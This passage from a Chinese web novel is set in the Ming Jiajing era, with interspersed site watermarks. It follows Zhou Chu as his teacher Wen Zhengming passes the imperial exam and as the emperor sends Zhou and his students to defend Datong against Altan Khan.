研究的过程中他们就感觉到了这个问题,他们知道研究的方向,但很多问题具体要用什么样的零件来解决,他们脑子里根本没有概念,以前他们几乎没怎么接触过机械相关的东西。 这一点,南镇抚司的那些工匠正好可以完美的弥补。 胡宗宪等人离开的时候,正好遇到了云瑾,纷纷行礼。 云瑾再怎么说都算是他们的长辈了。 “这是什么呀?” 云瑾看着海瑞等人抬着的铁疙瘩,一脸好奇道。 原本海瑞几人还觉得自己做的不错,现在经过周楚的指点,顿时觉得羞愧无比,根本不愿意承认自己做的这个东西就是蒸汽机。 “这是我们几人做着玩的小玩意。” 胡宗宪有些尴尬道。 云瑾似懂非懂地点了点头,没在追问,这让几人顿时松了口气。 云瑾来到周楚面前,看到周楚正在写字。 “二哥这字写的越来越有气度了,再过些年就比得上老师当年了。” 云瑾夸赞道。 “你还真敢夸,离老师还差得远。” 周楚白了云瑾一眼道。 “二哥这么看重你这些学生,还教他们那些稀奇古怪的东西,是为了什么?” 云瑾转移话题道。 周楚听到这话,将手中的笔放了下来。 “是为了将这个世界的资源做大,如果说我们大明现有的资源是十,那么整个世界的资源加起来,满打满算最多也就是二三十,即便大明的商船走遍世界,能掠夺的资源也是有限的。” 周楚说道。 “只有将大明的资源扩大到一百,甚至是二百,那么即便大部分资源都被士绅阶层掌控,剩下少部分的资源也够底层百姓活下去的。” 周楚叹了口气道。 对于战胜历史周期律,周楚一点信心都没有,所以周楚要做多手准备。 第312章 文徵明高中,再见徐阶 “放榜了,放榜了!” 会试结束了已经有两天了,这几天无论是京城百姓亦或是外地商人,都在关注着科举放榜。 会试的榜单决定谁能进下一轮殿试,倘若会试榜单上面没有名字的,科举也就到此结束了。 因此无数学子知道开始放榜的时候,心情异常的忐忑,对很多学子而言,这次的科举可能就决定了他们一生的命运。 甚至对那些年纪大的仕子而言,这很可能是他们最后一次科举了,成与不成,全在这一次。 很多人大器晚成,如张璁,二十三岁就中举了,但之后又经历了八次会试,于四十六岁才考中进士,入朝为官。 科举,从来都只是一个入场券,而非终点,能在官场上走到什么位置,完全看个人,这一点,张璁就是最好的证明。 “衡器,我有点紧张,你同我去一起看榜吧。” 文徵明有些祈求地看着周楚道。 周楚听到这话,点了点头。 “老师不必紧张,学生自当同你一起前往。” 周楚说着,跟在文徵明身后出了周府,直奔贡院门口而去。 此时的贡院门口已经聚集了无数看榜的仕子以及看热闹的京城百姓。 贡院两旁值守的官员看到周楚到来之后,急忙一路小跑,来到了周楚面前。 “周大人,您怎么来了?” 两位值守的官员来到周楚面前,一脸谄媚道。 此言一出,周围的那些仕子以及百姓顿时议论纷纷。 “这位是谁啊?贡院的官员都要这么恭敬?” 一个仕子看着好友,不解道。 “锦衣卫指挥使周大人,如今陛下身边的红人,权势滔天,周大人你都不认识?” 他的好友一脸不屑道。 周围其他人听到这话,纷纷低下头,生怕因为直视周楚而带来冒犯。 “我陪老师来一起看榜。” 周楚看向身旁的文徵明,笑道。 贡院值守的两位官员,看向文徵明,顿时了然。 “徵明先生此次高中了,位居五十三名,恭喜徵明先生。” 两位官员显然在此之前也做了功课了,一般仕子的排名他们是不怎么在意的,但文徵明身份特殊,那可是锦衣卫指挥使周楚的老师。 这样的身份,自然值得他们做些功课,事实证明他们的准备并不多余,此时刚好用上了,不着痕迹地拍了周楚的马屁。 “恭喜徵明先生。” 周围的仕子纷纷向文徵明贺喜。 文徵明的字在整个大明都是极其出名的,一个能在整个历史维度靠字留下名字的人,写的字在同一时代几乎是碾压的存在。 过去的许多年里,文徵明虽然只是一个秀才,但找他题字的高官数不胜数,甚至在正德十六年,文徵明还在宋徽宗的《徽宗御集序》上面题跋。 要知道现在的文人可不是后来的乾隆,不管有没有资格,都要在上面盖章题字,文徵明能在诸多名篇上题字,那可是众望所归的。 因此很多仕子对于文徵明的屡试不第也是意难平,很多仕子甚至将文徵明视为老师,仿的便是他的字,因此文徵明高中,大多数仕子没有任何嫉妒的情绪,有的只是高兴,真心替这位大明文坛的巨匠高兴。 “多谢诸位,多谢诸位。” 文徵明此时脸上的笑容怎么都止不住,他经过了多次科举,屡试不第,自从收了周楚为弟子之后,似乎时来运转了,去年在南直隶乡试,直接中了举人,如今会试,又中了进士。 虽然只是五十多名,但对文徵明而言,已经是奢求了,他原本觉得这次会试未必能中,甚至已经准备好了被唐伯虎取笑了。 没想到结果真如衡器所言,换了主考官果然不一样。 “学生徐阶见过周大人。” 众人正沉浸在喜悦之中,徐阶来到周楚面前躬身行礼。 周楚看着徐阶,明白以徐阶的本事肯定是能高中的。 “是子升啊,去年在江南一别,已经一年多没见了吧。” 周楚看着徐阶,笑道。 “已经有一年半未见了。” 徐阶说道。 “不知子升此次科举成绩如何?” 周楚看着徐阶道。 “学生也是侥幸高中。” 徐阶面色谦和道。 周楚听到这话,点了点头。 实际上周楚刚才已经看过了榜单。 徐阶高中,位居第二名! 虽然这不是最终排名,最终排名还要看殿试,但以徐阶的卖相,多半和历史上出入不会很大,极大可能高中探花。 “子升如今年纪轻轻就已经高中,将来前途不可限量啊。” 周楚拍了拍徐阶的肩膀道。 “大人谬赞,和大人相比,学生不过是萤火之光罢了。” 徐阶躬身道。 “老师,榜也看了,我们回去吧。” 周楚看向旁边的文徵明,征求他的意见道。 “好,回去。” 此时的文徵明那叫一个意气风发,整个人看上去都年轻了许多。 周楚很清楚,这只是会试的排名,最终排名以殿试为主。 有自己这层身份在,再加上老师确实是有真才实学的,殿试的排名应该不会太低。 再怎么说,老师和其他那些官员比起来,完全是自己人,皇帝肯定很乐于提拔老师。 只要能过了会试,有周楚在,未来的仕途对文徵明而言将是一片坦途。 “老师,你好好准备殿试吧,等殿试排名出来,学生再为您庆祝。” 周楚看着文徵明,笑道。 “哪能事事都让你操心,说实话,我这个老师没教你多少东西,反倒是事事劳烦你。” 文徵明满脸愧疚道。 “老师说的什么话,这都是学生应该做的,老师全心备考便是。” 周楚笑道。 文徵明听到这话,也没时间多想,心里想着等入朝为官之后,再好好帮自己这个学生,当即回到房间之中,开始准备殿试。 小說中文網 第313章 俺答再次来犯,嘉靖的任命 “周大人,陛下让您速速进宫,有要事相商。” 周楚正在书房看着书,黄锦匆匆而至。 “公公可知陛下所为何事?” 周楚听到这话,一边换飞鱼服,一边看着黄锦道。 “林大公子带着虎贲军奔奴儿干都司去了,大同那边就没什么像样的守将了,那俺答不知从哪里得到的消息,聚集了上万蒙古骑兵,夺走了大同以北不少草原,如今正率兵直逼大同。” 黄锦言简意赅的将事情告诉了周楚。 周楚听到这话,目光一凝,看这个样子,俺答似乎又和那些晋商勾结在了一起,俺答能这么快得到林鹿的动向,一定是有人向他通风报信。 林鹿才刚动身前往奴儿干都司,这边沉寂了近半年的俺答就有了动作,要说没人通风报信,那才是见了鬼了。 “黄公公不必着急,这也算是好事。” 周楚穿好衣服,看着黄锦道。 原本还很着急的黄锦,听到周楚这么说,心中顿时大定,也不再多问,带着周楚一路进宫来到了御书房。 “臣拜见陛下。” 周楚行礼道。 “不必多礼,衡器,你对大同的局势怎么看?” 嘉靖看到周楚之后,也没了之前的焦急,看着周楚道。 “臣认为这并非是坏事,倘若这俺答一直引而不发,对我大明反倒一直是个威胁,现在林稚心不在大同,他们这么快得到消息,肯定是有人通风报信,但于我们而言,也算是引蛇出洞了。” 周楚看着地图道。 嘉靖听到这话,点了点头。 “有你这话,朕就放心了,只是如今虎贲军前往奴儿干都司,暂时不能回转,大同....” 嘉靖欲言又止道。 “陛下不必担心,臣离开大同之前,就已经让林稚心训练大同守军了,如今的大同守军可不是之前的那些乌合之众,再加上玄武军,臣有信心将俺答一战灭之。” 周楚指了指地图上大同以北的位置,说道。 玄武军虽然更擅长海战,但训练的时候训练的可不只是海战,陆战的训练远强于大同的那些守军,毕竟海战上面更多的是近距离白刃战,玄武军更是拿来就能用的骑兵。 这在草原上至关重要,以大同的那些守军,守住俺答的进攻没什么困难,但想要反击,甚至是在草原上追击那些蒙古人,就需要用到玄武军了。 “衡器,你觉得这次勾结蒙古人的会是谁呢?” 嘉靖眼中闪着寒光道。 周楚听到这话,陷入了沉默之中。 之前大同的那些商人基本都被周楚犁清了,现在仍然出现这种情况,肯定不是原本大同的那些商人,多半是山西其他地方的商人去了大同。 甚至晋王府都可能参与其中。 当然,没有证据的情况下,这话周楚是不能说的。 嘉靖自然也是明白这个道理的,实际上他对晋王府也有所怀疑,之前嘉靖下旨让所有藩王府都派出世子或者郡主前往余姚见周楚,就代表了嘉靖的意见,代表着嘉靖想让各地藩王一起参与煤矿的生意。 但晋王府却拒绝了,这就很耐人寻味了。 这代表着晋王府选择了和太原甚至整个山西的商人站在一起。 山西的这些商人本身就是靠着煤矿赚钱的,如今周楚在徐州府附近发现了新的煤矿,对这些晋商就形成了致命的打击。 他们不可能毫无动作。 只是这段时间周楚遇到的事太多了,多到没有精力去过多地关注这些晋商在干什么。 如今俺答能这么快得到消息,很显然有人勾结了蒙古人,甚至很可能是这些晋商主动勾结的,为的就是给朝廷和周楚威慑力,让周楚和皇帝对他们做出妥协。 要说这背后没有晋王府,嘉靖是不信的。 “拟旨,让于海彻查,大同城内到底是谁里通外敌,要是查不出来,他这个千户就不用干了。” 嘉靖看着黄锦,满脸怒火道。 黄锦急忙帮忙措辞拟旨。 嘉靖说完这话,看向了周楚。 “衡器,这大同,还得靠你和云瑾啊,周衡器听旨。” 嘉靖清了清嗓子道。 “臣接旨。” “着锦衣卫指挥使周衡器,率领玄武军以及陆云瑾前往大同,镇守大同,阻击来犯之敌,最好能将这些蒙古人歼灭在大同城外。” 嘉靖宣旨道。 “臣领旨。” “兵贵神速,你们还需尽快出发。” 嘉靖看着周楚道。 “陛下放心,臣回去之后清点兵马,这就出发。” 周楚说完就退出了御书房。 “陛下,这件事恐怕没那么简单...” 陆炳在一旁欲言又止道。 “你是想说,这背后有晋王府参与?” 嘉靖看着陆炳,反问道。 “臣不敢。” 陆炳急忙行礼道。 “有什么不敢的?晋王府当初没有和衡器一起做煤矿生意,就说明了态度,这件事晋王府是脱不了干系的,原本朕还打算睁一只眼闭一只眼,不和晋王府一般见识,既然他们如此不识抬举,等这件事了了之后,朕自然要好好清算一下晋王府。” 嘉靖冷笑道。 皇帝对于各地的藩王府,有着生杀予夺的权利,只需要嘉靖一句话,晋王就可以被贬为平民。 只是嘉靖轻易不想这么做,嘉靖没想到自己的忍让换来的却是晋王府的变本加厉。 “陛下宅心仁厚,但晋王府和那些晋商就像那些文官一样,陛下对他们越是宽容,他们就越是得寸进尺。” 一旁的黄锦也罕见的发表了自己的意见。 黄锦很清楚,这话周楚说不合适,陆炳说也不合适,只能由自己来说,自己作为皇帝从小一起长大的大伴,说这话或许有些僭越,但陛下不会怪自己。 “黄锦说的没错,之前朕还觉得衡器的杀气太重,对毛纪等人太狠了,现在想想,越对他们宽容,换来的不是他们的感恩,反而是肆无忌惮。” 嘉靖满面寒光道。 周楚回到家中,云瑾急忙迎了上来。 “二哥,听说大同那边出事了?” 周楚点了点头。 “陛下着你我前往大同,镇守大同,即刻出发,你去整顿玄武军,一个时辰后出发。” 周楚看着云瑾,满脸严肃道。 云瑾听到这话,顿时意识到了事情的严重性,二话不说,来到马厩牵出自己的马,翻身上马,直奔城外玄武军的驻扎地点而去。 第314章 玄武军的军纪,胡宗宪等人的军旅生活 “去把胡宗宪等人叫过来。” 周楚看着沈炼道。 沈炼听到这话,也是翻身上马,直奔京城外的乡下去了。 “回头你转告老师一声,就说我得了陛下的旨意,离京办差去了。” 周楚看向春兰道。 “少爷放心,我知道的。” 春兰点头道。 周楚又在脑子里过了一遍所有的人和事,确定了没有什么遗漏之后,就在家里等着胡宗宪等人的到来。 胡宗宪不知道在哪里找了两辆马车,半个时辰后到了周楚面前。 “见过老师。” 胡宗宪等人行礼道。 周楚看着几人,点了点头。 “你们可都会骑马?” 胡宗宪等人听到这话,互相对视了一眼,点了点头。 “老师,我不会骑马。” 海瑞出列道。 对于海瑞不会骑马,周楚并不意外,海瑞出身海南,海南马本就少见,海瑞的出身也实在一般,肯定是买不起马的。 “既如此,海瑞你便留下,继续研究蒸汽机,蒙古人自大同城外来犯,陛下让我前往大同镇守,击退蒙古人,你们谁愿意随我同往?” 周楚看着众人,问道。 “学生愿往!” 胡宗宪一听这话,顿时满脸激动地站了出来,自古以来,战死沙场,马革裹尸对男人而言都是最终极的浪漫。 虽然如今的大多数文人看不上武将,但这大多数从来都不包括胡宗宪,在胡宗宪眼中,为大明征战沙场,开疆拓土,像唐朝的那些名将一般,闪耀世界,才是他最大的追求。 “学生愿往!” 朱显榕紧跟着出列道。 他和胡宗宪两人跟着周楚学了这么久的兵法,早就对上战场跃跃欲试了,不过朱显榕是楚王世子,身份非同一般,平日里根本没有打仗的机会。 “学生愿往!” 沐云萍也站了出来道。 “学生愿往!” 赵贞吉也站了出来道。 除了这几人之外,还有几人站了出来,其他人则站在了原地,表明了他们的选择。 “其他人回去吧,去与不去都是一种选择,不是所有人都适合打仗,每个人有适合自己的路,你们几个留下。” 周楚指了指胡宗宪和朱显榕等人说道。 归有光和海瑞等人听到这话,顿时松了口气,相较于打仗,他们二人心中有着更重要的事要做,海瑞想着尽快把蒸汽机研究出来,归有光则想着找到天然不育株。 这两人的心思完全不在战场上,强行把他们拉过去,对他们也只是一种煎熬。 几人乘坐马车返回乡下,剩下的胡宗宪等人则跟在了周楚身后。 “给他们一人一匹马。” 周楚看向沈炼道。 沈炼听到这话,来到周府的马厩,让陈通那几位养马的太监牵出来几匹马,来到了胡宗宪等人面前。 “各位大爷呦,这可是小的精心喂养的马,你们可要爱惜着点。” 陈通看着眼前的几匹马,有些心疼道。 “养的再好,不上战场杀敌,毫无疑义。” 周楚看着陈通道。 “小的自然是知道,只是养的时间久了,自然是有些舍不得的。” 陈通看着这几匹马,满脸的心疼。 “回头再去补一些好的马骝。” 周楚说着拿出一张银票递给了陈通。 陈通恭敬地将银票收了起来。 “大人您放心吧,小的一定办好。” 陈通等人离开后,周楚看向了胡宗宪等人。 “你们每人选一匹马,以后它们就是你们在战场上的伙伴,你们的生死,全靠它了。” 周楚说着,捋了捋自己身旁乌骓马的脖子,乌骓马一脸享受地蹭了蹭周楚的脸。 胡宗宪等人听到这话,脸上愈发兴奋,他们都很清楚,老师能送给他们的战马,绝不是一般的马,胡宗宪先选中一匹枣红色,看上去极为神骏的马,翻身上了马。 那匹马原本还有些不适应,等胡宗宪骑着它走了两圈之后,已经磨合的差不多了。 “为师对你们的照顾也仅限于此,之后的行军,你们要遵从军队的纪律,士兵如何你们如何,此去大同,行军速度很快,不得掉队。” 周楚看着几人,面容严肃道。 胡宗宪等人听到这话,也纷纷收敛了兴奋地神情,目光变得肃穆起来。 “出发!” 周楚一拉乌骓马的缰绳,率先奔城北而去。 沈炼和大柱紧随其后,胡宗宪等人急忙追上。 此时城北,玄武军的驻扎地,云瑾已经将玄武军全部整顿好了。 玄武军这段时间驻扎在京城外,一直在训练,但和以前他们的战斗强度比,完全不在一个层次,他们甚至觉得现在的日子很无聊。wWW.xszWω㈧.йêt 当得知他们的统领陆云瑾将再次率领他们出征大同的时候,他们一个个无比兴奋,用最快的时间整顿好队形,就等着云瑾和周楚的下一步命令。 “大人,玄武军随时待命。” 云瑾穿着一身盔甲,骑着战马来到周楚面前道。 一旁的胡宗宪等人看到云瑾这副充满肃杀的模样,无比震撼,他们每次见到云瑾基本都是在周楚面前,平日里云瑾在周楚面前完全是个听话的小妹妹,只有沐云萍,看到云瑾这副模样丝毫不意外,当初云瑾带着玄武军在云南灭杀那些土司叛军的时候,她可是在一旁看着的。 “将他们几个暂时编入玄武军,随玄武军一同行军,不必有任何优待。” 周楚瞥了一眼胡宗宪等人道。 云瑾听到这话,冲着一个百夫长招了招手,那百夫长急忙出列。 “他们几个交给你了,不必优待,该如何如何。” 云瑾说道。 “是,统领!” 百夫长急忙道。 胡宗宪等人被这个百夫长编入了不同的什长手下,胡宗宪等人看着眼前无比肃杀的玄武军,一个个如同新兵蛋子一般,完全不敢多说一句话。 “开拔!” 周楚高喊一声之后,将乌骓马拉的很高,乌骓马的叫声极具穿透性,让所有人精神一振。 随后周楚看向了大同的方向,直接纵马一路往西奔驰而去。 云瑾则带着玄武军跟在周楚身后,一路急行军。 根据云瑾的命令,玄武军所有人每人只带了六天的干粮,至于马的粮草,路上自有官驿供应,如此一来,能保证最大限度的行军速度。 胡宗宪等人刚开始还很兴奋,他们这是第一次上战场,更是第一次加入军营,但当他们连续高速行军两三个时辰之后,一个个脸色都变了,胡宗宪感觉屁股不是自己的了,身体都快被颠散架了,好在此时天色见黑,周楚带着玄武军也来到了一处官驿之中休整。 这让胡宗宪等人长出了一口气。 “你们几个新兵蛋子能坚持这么久,也是不容易。” 胡宗宪的什长看着胡宗宪下马之后,差点栽倒,嘿嘿一笑道。 胡宗宪看着周围的玄武军好似没什么感觉一般,一个个下马之后最先做的事不是吃饭,而是先喂马,顿觉羞愧无比。 “别想那些有的没的,尽快休息,保持体力,明天睡醒还要继续行军,今天只不过是开始罢了。” 胡宗宪的什长看着他这副模样,有些恨铁不成钢道。 胡宗宪听到这话,神情一凝。 是啊,这才刚开始,明天行军的时间只会比今天更长,因为今日从京城出发的时候,已经是下午了。 想到这里,胡宗宪拖着无比酸疼的身体,拿起粮草,开始喂马。 什长在一旁指点着胡宗宪喂马的诀窍。 喂完马之后,众人开始原地休整,纷纷开始吃起了干粮。 胡宗宪顿时傻眼了,因为他们来的时候没有带任何干粮。 什长显然注意到了胡宗宪的情况。 “你们几个,每人匀出来一些,给这个新兵蛋子,大人应该是没给他们配军粮。” 什长很清楚,新兵没有军粮的话,军粮的调配就应该由他这个什长来办,好在他们这个十人的队伍之中只有一个新人,每人稍微匀出一些,就够胡宗宪吃的了,倒也没什么影响。 胡宗宪接过行军粮和水壶,开始了狼吞虎咽,行军这么久,刚下马的时候是浑身酸疼,现在反应了过来,胡宗宪只感觉饿的前胸贴后背。 同一队伍的玄武军看到胡宗宪这副模样,纷纷哈哈大笑。 “你小子一看就是大户人家出来的。” 旁边一个玄武军士兵调侃道。 “你们是怎么看出来的?” 胡宗宪有些不解道。 他们在张家村跟着村民干了很久的农活,要说细皮嫩肉肯定是算不上的,这些士兵还是一眼就看出来了。 “能感觉得出来,你们这些人说话做事和我们不一样。” 什长一边吃东西,一边说道。 “这有啥?我们玄武军什么大人物没来过?德清公主家的二儿子,林廌大人之前就是我们玄武军的一员。” 另一个玄武军士兵道。 对这些士兵而言,他们是不会称呼字号的,基本都是称呼名字,因为大多数人都没有字号。 “还有如今征战东瀛的汪直,也是从我们玄武军出去的百夫长。” 另一个玄武军与有荣焉道。 胡宗宪此时已经吃完了,听到这话,也觉得十分的震撼,汪直的大名他是听过的,这位征战东瀛,甚至快征服东瀛的男人,在整个大明名气非常大。 无数人将之视为偶像,就连胡宗宪也对汪直很是神往。 他怎么都没想到,汪直居然是从眼前的玄武军之中走出去的,而且之前还只是玄武军的百夫长? 这到底是怎么样的一支军队? 此时的胡宗宪终于意识到了眼前这支军队的不简单。 在这之前,玄武军的行军速度虽然快,军纪虽然好的夸张,但胡宗宪对这些并没有具体的概念,没有对比,也就理解不了玄武军有多厉害。 此时听到几人这么说,胡宗宪才意识到眼前这支军队的不一般。 “早点睡觉,明日还要行军。” 眼看着众人都吃饱喝足了,什长看着众人,神情严肃道。 其他士兵听到这话,纷纷回到营帐之中,倒头就睡。 胡宗宪不敢怠慢,急忙回到营帐之中,可惜他还是晚了一步,等他躺下的时候,身边已经是呼噜声震天了。 不过这对已经劳累无比的胡宗宪而言,并不算困难,就这样,胡宗宪闻着身边的汗臭味和脚臭味,听着震天的呼噜声,很快就入眠了。 第二天一早,胡宗宪还睡的迷迷糊糊,玄武军的军号就响了起来。 胡宗宪直接被什长提溜了起来,一瓢水泼在胡宗宪脸上,原本还有些迷糊的胡宗宪瞬间精神了。 “吃饭,马上要行军了。” 什长看着胡宗宪,呵斥道。 胡宗宪从什长手中接过军粮,急忙吃了起来,他可不想因为自己耽误行军速度,这是大忌。 夏天的炎热让胡宗宪感觉浑身黏糊糊的,不过这种感觉胡宗宪之前在张家村务农的时候早已习惯,倒也没那么矫情。 胡宗宪吃东西的时候,看到了赵贞吉。 “赵兄可还适应?” 胡宗宪看着赵贞吉道。 “昨天确实不适应,从未骑过这么长时间的马,还保持这种速度,现在还浑身酸疼呢,不过迟早要适应的。” 赵贞吉一边吃着东西一边说道。 胡宗宪听到这话,点了点头。 “行军打仗,首重军纪,老师不可能为了我们几人开小灶,倘若我们跟不上,注定会被淘汰。” 胡宗宪有些感慨道。 “我看了这支军队,每一个士兵都非同一般,绝非一般军队可比,上了战场,我们恐怕很难跟上。” 赵贞吉有些忧虑道。 “你们想多了,就凭你们,在战场上也配跟着玄武军?到时候我自会安排你们的去处。” 周楚来到两人面前,一脸不屑道。 “老师。” 两人急忙行礼道。 “军中没有老师和学生,只有统帅和士兵,以后叫我大人。” 周楚看着两人,面容严肃道。 “是,大人!” 两人急忙端正态度道。 周楚看着两人的模样,点了点头,随后转身离开了。 “大人有令,即刻开拔。” 随着周楚的命令传了下去,玄武军纷纷整装待发。 第315章 抵达大同,问罪于海,接管卫所军 沐云萍和朱显榕等人不同,她毕竟是个女人,被云瑾直接安排在了自己身旁,充当起了云瑾的近卫。 相较于胡宗宪等人,沐云萍对于昨日的急行军倒是很适应,毕竟沐云萍常年生活在丽江山区,每当有土司叛乱,她需要走的路可比这难多了。 之前她更是带过云瑾和玄武军平叛,所以此时的沐云萍,倒是显得很轻松。 经过第二天一整天的急行军,朱显榕胡宗宪等人逐渐适应了这种行军强度,虽然浑身仍然酸疼无比,却也没有第一天那么难熬了。 “朱显榕,你还楚王世子呢,这才跟着大人行军两日,就这样了?” 沐云萍来到朱显榕身旁,看着一动都不想动的朱显榕,满脸嘲讽道。 朱显榕看着满脸轻松的沐云萍,转念一想云南那边的环境和沐云萍需要面对的局势,瞬间就释然了。 “这不是没经验吗,我们楚王府又不像你们沐国公府,需要经常平定土司叛乱。” 朱显榕有气无力道。 两人正聊着呢,突然听到不远处传来杀猪一般的叫声,旁边听到这叫声的玄武军将士都哈哈直笑,两人对视了一眼,感到无比好奇,往前走了走,看到胡宗宪正光着膀子,他的什长正在给他按摩身体,让他放松。 但经过这两日的高强度行军,胡宗宪身体内累积了大量的体酸,稍微一按就会疼的死去活来的,此时的胡宗宪从未感觉如此疼过,忍不住叫出了声。 “将军,这是在干什么?” 沐云萍看到云瑾也走过来观看了,忍不住问道。 “这是二哥教的放松的方法,玄武军刚开始的时候,训练强度过大,身体的负担比你们现在重多了,二哥说训练完要放松和按摩,否则会损伤身体。” 云瑾说完看向了一旁的另一个玄武军将士。 “你来帮他也放松一下。” 云瑾指了指朱显榕道。 朱显榕眼看着胡宗宪涨的脸色通红,手青筋暴起的模样,内心很是害怕。 “不会有生命危险吧?” 朱显榕有些不确定道。 “放心吧,一点都不危险,还很爽。” 那个玄武军跃跃欲试道。 直到朱显榕感受到了那难以言喻的酸痛感,才能理解胡宗宪为何会叫的这么大声,因为他也没忍住。 但当朱显榕忍着剧痛按摩结束之后,发现整个人身体轻松了许多,一开始的劳累感和疲惫感,以及身体的酸痛感,居然消失了大半。 “大人,为何这般神奇?” 朱显榕看着在一旁一边吃东西,一边看戏的周楚,忍不住问道。 “少见多怪,医术分为很多种,针、灸和推拿,这便是推拿。” 周楚白了一眼朱显榕道。 “推拿我知道啊,只是以前从未体会过这种感觉。” 朱显榕更加不解了。 “那是因为你以前养尊处优,身体不酸不痛,而且那些大夫给你们推拿也不敢真的用太大的力气,他们怕被怪罪。” 周楚说着拿出水袋,极为痛快地喝了半袋水。 “这个鬼天气,真是太热了。” 周楚忍不住吐槽道。 “赶紧睡觉吧,明天还要赶路。” 周楚说着起身离开了。 昨天睡觉的时候,朱显榕还完全适应不了周围玄武军的打呼噜声,以及汗臭味和脚臭味,辗转反侧大半夜才睡着。 但这次按摩之后,朱显榕居然躺下就睡着了,而且睡的格外的香甜。 周楚带着玄武军经过了六天的急行军,终于抵达了大同。 “属下拜见大人。” 于海作为锦衣卫的千户,周楚的手下,早在玄武军出发之前就知道了周楚要来,一直让人留意着大同城外的动向,玄武军刚出现,于海就得到了消息,急忙过来见礼。 “于海,你好大的胆子啊。” 周楚看着于海,满脸冷笑。 于海听到这话,脸上冷汗瞬间下来了。 “大人此话何意?” 于海满脸不解道。 “林稚心前脚刚离开大同,后脚蒙古人就打了过来,要说没人通风报信,你信吗?之前本官离开大同的时候,将大同城内和蒙古人有所勾结的商人都清算的差不多了,如今出现了这种情况,你还问我何意?” 周楚冷眼看着于海,严肃道。 于海听到这话,直接跪在了周楚面前。 “大人,属下冤枉啊,前段时间晋王府来了不少人在大同做生意,属下也不敢管他们啊。” 于海此时浑身上下都是冷汗,恨不得五体投地地向周楚和皇帝表达忠心。 “晋王府!” 周楚念叨着这几个字,心中顿时明白了是什么人勾结的蒙古人,或许不是晋王府所为,但晋王府一定是为这些人开了道了。 “去,把晋王府相关的所有人都抓起来。” 周楚看着于海道。 大战在即,周楚不可能允许自己的后方还有人搅风搅雨,只有把这些人都控制起来,周楚才能放心,至于如何处置他们,那是皇帝的事。 “是,大人,属下这就去办。” 有了周楚的命令,于海顿时有了主心骨,当即带人去抓人了。 打发走了于海,周楚直接带着玄武军直奔卫所而去。 大同的卫所兵近三万,经过这半年多的训练,虽然训练强度远不如虎贲军或者玄武军,但战力早已今非昔比。 “来者何人.....大人,小的拜见大人。” 岗哨上值守的士兵原本还想问一下周楚这支兵马来这里所为何事,看到周楚之后,瞬间变得无比惊喜,急忙下了岗哨,来到周楚面前恭敬行礼。 “前面带路。” 周楚看了一眼此人道。 “是,大人。” 此人说完这话,就牵着周楚的乌骓马进了军营。 这就是周楚对大同卫所兵的统治力,周楚接管这三万卫所兵甚至不需要任何兵符,这三万大军每一个对周楚都感激涕零。 当然,话是这么说,周楚该走的程序一点都不会少,否则这件事传进了皇帝耳中,终究不是好事。 “本官奉皇命接管大同卫所兵,镇守大同,阻击来犯之敌。” 周楚说着拿出皇帝给他的圣旨。 圣旨一出,面前所有卫所兵的将士急忙跪倒在地。 “行了,起来吧,就是走一个形式。” 周楚说着将圣旨收了起来。 那些千总们这才起来,纷纷来到周楚面前。 “大人当初为何离开大同,将士们都很想您啊。” 一个千总来到周楚面前,有些谄媚道。 跟在后面的胡宗宪等人看到这一幕,心中无比震撼,特别是刚才进军营那一幕,他们很清楚意味着什么,周楚没用任何皇命,那值守军营的哨兵就亲自为自己的老师牵马执蹬,这代表着老师对眼前这支卫所军有着绝对的掌控权。 胡宗宪想想之前自己老师在大同做的那些事,瞬间了然,自己的老师可是帮这些卫所兵结清了拖欠多年的军饷,每个卫所军都因此发了一笔财,他们对老师恐怕都无比感激。 “每个人有每个人该做的事,我该做的事做完了,剩下的事就得林稚心来做。” 周楚从千总手中接过一个水袋,往自己头上浇了过去,随后晃了晃脑袋,将头上的水甩的四处乱飞,这才感到神清气爽。 “大同夏天都这么热吗?” 周楚看着眼前的千总,问道。 八月份的大同,甚至比京城还要炎热,而且是干热,大同的空气湿度比京城还要干不少。 “晚上就就好了,也就白天热点。” 眼前的千总有些不好意思道。 这话周楚是信的,大同昼夜温差大,到了半夜甚至会有些冷。 “集结大军,我要看看这半年你们的训练情况如何。” 周楚说着将水袋仍还给了那个千总,高声道。 “是。” 一众千总听到这话,纷纷去集结自己的部队。 很快,三万大军就全都集结在了周楚面前。 胡宗宪等人第一次如此直观地看到整齐划一的三万大军,内心的震撼可想而知。 就连沐云萍,也是第一次见到这种场面,她何曾见过这么多的大军,此时的沐云萍恨不得化身为其中一员,和他们一起上阵杀敌。 “动起来吧,让我看看你们的训练成果。”尛說Φ紋網 周楚站在校场最高点,高声道。 一众将士听到这话,开始自发行军布阵,军阵之间流转极为顺畅,远不是半年前可比。 周楚看着眼前如同脱胎换骨一般的大同卫所兵,很是满意,最起码这三万人阻击那些蒙古人是绰绰有余了,不过想要全歼那些蒙古人,却是有些困难。 毕竟蒙古人全是骑兵,这三万卫所兵,满打满算凑不出来一千个骑兵。 玄武军也不过两千人左右,这次来犯的蒙古骑兵说是一万人,但这一万人可都是骑兵,远非一般兵种能比。 虽然这些蒙古人的单体战力远比不上玄武军,但行军打仗从来看的都不是单体战力。 “除了你,其他人都编入卫所军,跟他们一起训练,同吃同住。” 周楚指了指沐云萍道。 沐云萍仍然是云瑾的护卫,至于其他人,都被编入了卫所军。 此时胡宗宪等人才明白,周楚之前说自有他们的去处,这个去处原来是卫所军。 自此,胡宗宪等人才算是正式加入军营之中。 胡宗宪看着眼前这些卫所兵,他们的精神面貌和玄武军相比差了不少,但仍然比胡宗宪之前见过的地方兵不知道要强了多少。 “小家伙,以后我就是你的什长,有什么事和我说就行,大人说了,对你不需要优待,要是训练跟不上,别怪我不客气。” 什长一边说着,一边将属于胡宗宪的兵器盔甲递给了他。 卫所兵的盔甲和玄武军相比,差了一大截,这一点胡宗宪只是看了一眼就能看出来。 不过胡宗宪也清楚,这是在所难免的,玄武军总共才两千人,眼前的卫所兵却是三万人,要都按照玄武军的标准配给,那将是一笔极大的开支。 虽说朝廷如今有钱了,却也不是这么造的。 第二天一早,天还未亮,胡宗宪就意识朦胧地听到了军号声,有了之前被浇醒的经历,胡宗宪立刻下意识地从床上爬了起来,穿上盔甲,拿上武器,跟着其他士兵一起集结。 “十里拉练,现在开始。” 眼前的百夫长看着面前自己手下的兵,高喊一声之后,便率先跑了出去。 “十里?” 胡宗宪一边跟着队伍跑着,一边回味着这个数字。 胡宗宪傻眼了,他想过卫所兵的训练强度可能比较大,但怎么都没想到会这么大。 他什么时候经历过这样的训练?不过事已至此,他也只能咬牙坚持。 